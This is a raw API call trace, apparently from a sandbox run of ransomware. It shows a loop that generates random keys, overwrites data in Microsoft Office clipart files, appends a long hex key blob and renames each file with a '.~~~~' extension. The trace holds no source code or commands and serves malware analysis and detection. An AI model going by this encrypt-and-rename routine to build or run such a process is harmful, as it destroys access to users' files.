	[0110.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xabbd6c30, dwHighDateTime=0x1d60e1e)) 
	[0110.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f258
	[0110.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f258 | out: hHeap=0x300000) returned 1
	[0110.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282dd10
	[0110.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.942] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.943] GetLastError () returned 0x0
	[0110.943] GetLastError () returned 0x0
	[0110.943] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.943] GetLastError () returned 0x0
	[0110.943] GetLastError () returned 0x0
	[0110.950] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff2d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.950] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xd28, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0xd28, lpOverlapped=0x0) returned 1
	[0110.952] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.952] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.952] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.952] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.952] CloseHandle (hObject=0x130) returned 1
	[0110.953] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.953] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf.~~~~")) returned 1
	[0110.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.954] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.954] GetLastError () returned 0x0
	[0110.954] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0110.956] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.956] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.956] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23094604985) returned 1
	[0110.956] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xabbfcd90, dwHighDateTime=0x1d60e1e)) 
	[0110.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f290
	[0110.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f290 | out: hHeap=0x300000) returned 1
	[0110.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d558
	[0110.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.957] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.957] GetLastError () returned 0x0
	[0110.957] GetLastError () returned 0x0
	[0110.957] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.957] GetLastError () returned 0x0
	[0110.958] GetLastError () returned 0x0
	[0110.961] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffd048, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.961] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x2fb8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x2fb8, lpOverlapped=0x0) returned 1
	[0110.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.962] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.962] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.962] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.962] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.963] CloseHandle (hObject=0x130) returned 1
	[0110.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.963] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02423_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02423_.wmf.~~~~")) returned 1
	[0110.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.964] GetLastError () returned 0x0
	[0110.965] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0110.967] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.967] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.967] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.967] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23095734572) returned 1
	[0110.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xabbfcd90, dwHighDateTime=0x1d60e1e)) 
	[0110.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f2c8
	[0110.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f2c8 | out: hHeap=0x300000) returned 1
	[0110.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282de40
	[0110.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.968] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.968] GetLastError () returned 0x0
	[0110.969] GetLastError () returned 0x0
	[0110.969] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.969] GetLastError () returned 0x0
	[0110.969] GetLastError () returned 0x0
	[0110.973] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffac4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.974] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x53c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x53c, lpOverlapped=0x0) returned 1
	[0110.975] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.975] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.975] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.975] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.975] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.975] CloseHandle (hObject=0x130) returned 1
	[0110.976] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.976] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02424_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02424_.wmf.~~~~")) returned 1
	[0110.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.977] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.977] GetLastError () returned 0x0
	[0110.977] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0110.979] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0110.979] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0110.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0110.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.979] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23096934563) returned 1
	[0110.979] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xabc22ef0, dwHighDateTime=0x1d60e1e)) 
	[0110.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.979] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f300
	[0110.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f300 | out: hHeap=0x300000) returned 1
	[0110.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ded8
	[0110.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.981] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0110.981] GetLastError () returned 0x0
	[0110.981] GetLastError () returned 0x0
	[0110.981] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0110.981] GetLastError () returned 0x0
	[0110.981] GetLastError () returned 0x0
	[0111.066] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe6b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.066] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x1948, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x1948, lpOverlapped=0x0) returned 1
	[0111.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0111.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.067] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.067] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.068] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.068] CloseHandle (hObject=0x130) returned 1
	[0111.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.068] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02426_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02426_.wmf.~~~~")) returned 1
	[0111.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0111.141] GetLastError () returned 0x0
	[0111.156] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0111.157] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.157] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.157] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0111.157] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0111.158] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=23114764962) returned 1
	[0111.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xabdc5e10, dwHighDateTime=0x1d60e1e)) 
	[0111.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0111.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0111.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0111.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282f610
	[0111.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282f610 | out: hHeap=0x300000) returned 1
	[0111.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.158] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.158] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.159] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282df70
	[0111.159] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.159] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0111.159] GetLastError () returned 0x0
	[0111.159] GetLastError () returned 0x0
	[0111.159] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0111.159] GetLastError () returned 0x0
	[0111.159] GetLastError () returned 0x0
	[0111.165] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffe60c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.165] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x19f4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x19f4, lpOverlapped=0x0) returned 1
	[0111.167] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0111.167] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.167] WriteFile (in: hFile=0x13c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.167] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.167] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.167] CloseHandle (hObject=0x13c) returned 1
	[0111.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0111.168] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.~~~~")) returned 1
	[0111.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.169] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0111.169] GetLastError () returned 0x0
	[0111.169] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0111.171] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0111.171] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0111.171] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0111.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
